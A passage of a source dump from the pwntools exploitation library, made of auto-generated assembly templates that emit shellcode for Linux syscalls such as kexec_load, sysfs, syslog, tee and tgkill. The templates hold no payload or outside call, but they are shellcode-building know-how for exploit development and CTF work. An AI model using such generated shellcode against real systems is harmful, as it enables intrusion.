len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sys_kexec_load']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sys_kexec_load'])\n%>\n    /* sys_kexec_load(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/syscall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>syscall(sysno, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall syscall.\n\nSee 'man 2 syscall' for more information.\n\nArguments:\n    sysno(long): sysno\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"sysno=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['sysno', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [sysno, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_syscall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_syscall'])\n%>\n    /* syscall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sysfs.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sysfs(option) -> str\n\nInvokes the syscall sysfs.\n\nSee 'man 2 sysfs' for more information.\n\nArguments:\n    option(int): option\nReturns:\n    int\n</%docstring>\n<%page args=\"option=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['option']\n    argument_values = [option]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sysfs']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sysfs'])\n%>\n    /* sysfs(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sysinfo.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sysinfo(info) -> str\n\nInvokes the syscall sysinfo.\n\nSee 'man 2 sysinfo' for more information.\n\nArguments:\n    info(sysinfo*): info\nReturns:\n    int\n</%docstring>\n<%page args=\"info=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['info']\n    argument_values = [info]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sysinfo']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sysinfo'])\n%>\n    /* sysinfo(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/syslog.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>syslog(pri, fmt, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall syslog.\n\nSee 'man 2 syslog' for more information.\n\nArguments:\n    pri(int): pri\n    fmt(char*): fmt\n    vararg(int): vararg\nReturns:\n    void\n</%docstring>\n<%page args=\"pri=0, fmt=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['fmt']\n    can_pushstr_array = []\n\n    argument_names = ['pri', 'fmt', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [pri, fmt, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_syslog']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_syslog'])\n%>\n    /* syslog(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sysmips.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sysmips(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sysmips.\n\nSee 'man 2 sysmips' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sysmips']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sysmips'])\n%>\n    /* sysmips(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sysriscv.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sysriscv(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall sysriscv.\n\nSee 'man 2 sysriscv' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sysriscv']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sysriscv'])\n%>\n    /* sysriscv(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/tee.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>tee(fdin, fdout, length, flags) -> str\n\nInvokes the syscall tee.\n\nSee 'man 2 tee' for more information.\n\nArguments:\n    fdin(int): fdin\n    fdout(int): fdout\n    length(size_t): length\n    flags(unsigned): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fdin=0, fdout=0, length=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fdin', 'fdout', 'length', 'flags']\n    argument_values = [fdin, fdout, length, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_tee']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_tee'])\n%>\n    /* tee(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/tgkill.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>tgkill(tgid, tid, sig) -> str\n\nInvokes the syscall tgkill.\n\nSee 'man 2 tgkill' for more information.\n\nArguments:\n    tgid(int): tgid\n    tid(int): tid\n    sig(int): sig\nReturns:\n    int\n</%docstring>\n<%page args=\"tgid=0, tid=0, sig=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tgid', 'tid', 'sig']\n    argument_values = [tgid, tid, sig]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_tgkill']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_tgkill'])\n%>\n    /* tgkill(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/tgsigqueueinfo.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>tgsigqueueinfo(tgid, tid, sig, uinfo) -> str\n\nInvokes the syscall tgsigqueueinfo.\n\nSee 'man 2 tgsigqueueinfo' for more information.\n\nArguments:\n    tgid(pid_t): tgid\n    tid(pid_t): tid\n    sig(int): sig\n    uinfo(siginfo_t*): uinfo\nReturns:\n    int\n</%docstring>\n<%page args=\"tgid=0, tid=0, sig=0, uinfo=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tgid', 'tid', 'sig', 'uinfo']\n    argument_values = [tgid, tid, sig, uinfo]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < 